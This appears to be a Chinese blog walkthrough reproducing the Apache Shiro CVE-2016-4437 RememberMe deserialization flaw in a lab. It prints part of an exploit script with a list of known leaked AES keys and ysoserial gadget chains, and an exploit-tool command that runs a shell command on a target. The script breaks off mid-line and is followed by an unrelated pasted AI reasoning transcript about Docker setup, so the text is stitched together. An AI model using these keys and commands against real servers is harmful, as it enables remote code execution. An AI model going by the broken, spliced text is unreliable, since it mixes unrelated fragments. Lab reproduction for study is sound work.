shiro-cve_2016_4437漏洞复现

本文详细介绍了Apache Shiro的CVE-2016-4437漏洞,这是一个Java反序列化漏洞。内容包括漏洞概述、复现步骤以及总结。通过在Vulfocus平台搭建环境,模拟用户登录并利用Remember Me功能,配合特定的攻击payload,成功触发反序列化漏洞,获取了反弹shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

shiro-cve_2016_4437漏洞复现

漏洞概述:

该漏洞发布于2016年6月,属于java反序列化漏洞的一种,Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。Apache Shiro框架提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行序列化、AES加密、Base64编码操作。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。使用Shiro的易于理解的API,可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

漏洞复现:

在vulfocus平台上拉取下载shiro-cve_2016_4437漏洞镜像,并运行漏洞环境

在浏览器访问使用root用户登录,并勾选Remember ME,点击登录

登录成功

在GitHub上下载攻击exp

 

#! python2.7

import os

import re

import base64

import uuid

import subprocess

import requests

import sys

import json

import time

import random

import argparse

from Crypto.Cipher import AES

JAR_FILE = 'ysoserial.jar'

CipherKeys = [

    "4AvVhmFLUs0KTA3Kprsdag==",

    "3AvVhmFLUs0KTA3Kprsdag==",

    "2AvVhdsgUs0FSA3SDFAdag==",

    "6ZmI6I2j5Y+R5aSn5ZOlAA==",

    "wGiHplamyXlVB11UXWol8g==",

    "cmVtZW1iZXJNZQAAAAAAAA==",

    "Z3VucwAAAAAAAAAAAAAAAA==",

    "ZnJlc2h6Y24xMjM0NTY3OA==",

    "L7RioUULEFhRyxM7a2R/Yg==",

    "RVZBTk5JR0hUTFlfV0FPVQ==",

    "fCq+/xW488hMTCD+cmJ3aQ==",

    "WkhBTkdYSUFPSEVJX0NBVA==",

    "1QWLxg+NYmxraMoxAXu/Iw==",

    "WcfHGU25gNnTxTlmJMeSpw==",

    "a2VlcE9uR29pbmdBbmRGaQ==",

    "bWluZS1hc3NldC1rZXk6QQ==",

    "5aaC5qKm5oqA5pyvAAAAAA==",

    "kPH+bIxk5D2deZiIxcaaaA==",

    #"ZWvohmPdUsAWT3=KpPqda",

    "r0e3c16IdVkouZgk1TKVMg==",

    "ZUdsaGJuSmxibVI2ZHc9PQ==",

    "U3ByaW5nQmxhZGUAAAAAAA==",

    "LEGEND-CAMPUS-CIPHERKEY=="

    #"kPv59vyqzj00x11LXJZTjJ2UHW48jzHN",

    ]

gadgets = ["JRMPClient","BeanShell1","Clojure","CommonsBeanutils1","CommonsCollections1","CommonsCollections2","CommonsCollections3","CommonsCollections4","CommonsCollections5","CommonsCollections6","CommonsCollections7","Groovy1","Hibernate1","Hibernate2","JSON1","JavassistWeld1","Jython1","MozillaRhino1","MozillaRhino2","Myfaces1","ROME","Spring1","Spring2","Vaadin1","Wicket1"]

session = requests.Session()

def genpayload(params, CipherKey,fp):

    g
<think>我们参考了提供的引用内容,特别是引用[2]和引用[4]中关于使用Docker搭建漏洞环境的步骤。 根据引用[2]和[4],我们可以总结出以下步骤: 1. 拉取漏洞环境的Docker镜像:docker pull medicean/vulapps:s_shiro_1 2. 启动Docker容器:将容器的8080端口映射到主机的某个端口(例如8081),使用命令:docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1 3. 访问搭建好的环境:http://<your_host_ip>:8081 注意:如果主机有防火墙,需要放行对应端口(如8081)。 另外,引用[5]提到可以使用shiro_exploit.py进行漏洞利用,但用户目前只需要搭建环境,所以先提供环境搭建步骤。 因此,回答将按照以下步骤进行: 1. 确保已安装Docker并启动Docker服务。 2. 拉取镜像。 3. 运行容器。 4. 验证环境。 同时,考虑到用户可能需要进行漏洞复现,我们可以在相关问题中提供漏洞复现的参考。 注意:由于引用中提到的镜像名称一致,我们使用同一个镜像。</think>### Docker搭建Apache Shiro反序列化漏洞环境CVE-2016-4437) #### 环境搭建步骤: 1. **拉取漏洞镜像** 使用官方漏洞测试镜像(需提前安装Docker): ```bash docker pull medicean/vulapps:s_shiro_1 ``` 2. **启动容器** 将容器8080端口映射到主机端口(示例用8081): ```bash docker run -d -p 8081:8080 --name shiro_cve medicean/vulapps:s_shiro_1 ``` - `-d`:后台运行 - `-p 8081:8080`:主机端口:容器端口 - `--name`:指定容器名称 3. **防火墙配置** 若主机有防火墙(如CentOS): ```bash firewall-cmd --add-port=8081/tcp --permanent firewall-cmd --reload ``` 4. **验证环境** 访问 `http://<你的服务器IP>:8081`,出现Apache Shiro测试页面即搭建成功[^2][^4]。 --- #### 漏洞验证(可选) 使用工具验证漏洞(需额外安装Python3): ```bash # 下载利用工具 git clone https://github.com/feihong-cs/ShiroExploit.git # 执行命令检测(示例创建测试文件) python3 ShiroExploit.py -u http://<IP>:8081 -p "touch /tmp/success" ``` 若返回`[+] 漏洞存在`且在容器中查看到`/tmp/success`文件,则验证成功[^5]。 --- #### 关键说明 1. 漏洞原理:Shiro 1.2.4使用硬编码AES密钥,攻击者可通过伪造rememberMe Cookie触发Java反序列化执行任意命令[^3]。 2. 环境镜像包含: - Apache Shiro 1.2.4 - 存在漏洞的Web应用 - 集成Tomcat服务 3. 停止环境:`docker stop shiro_cve` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值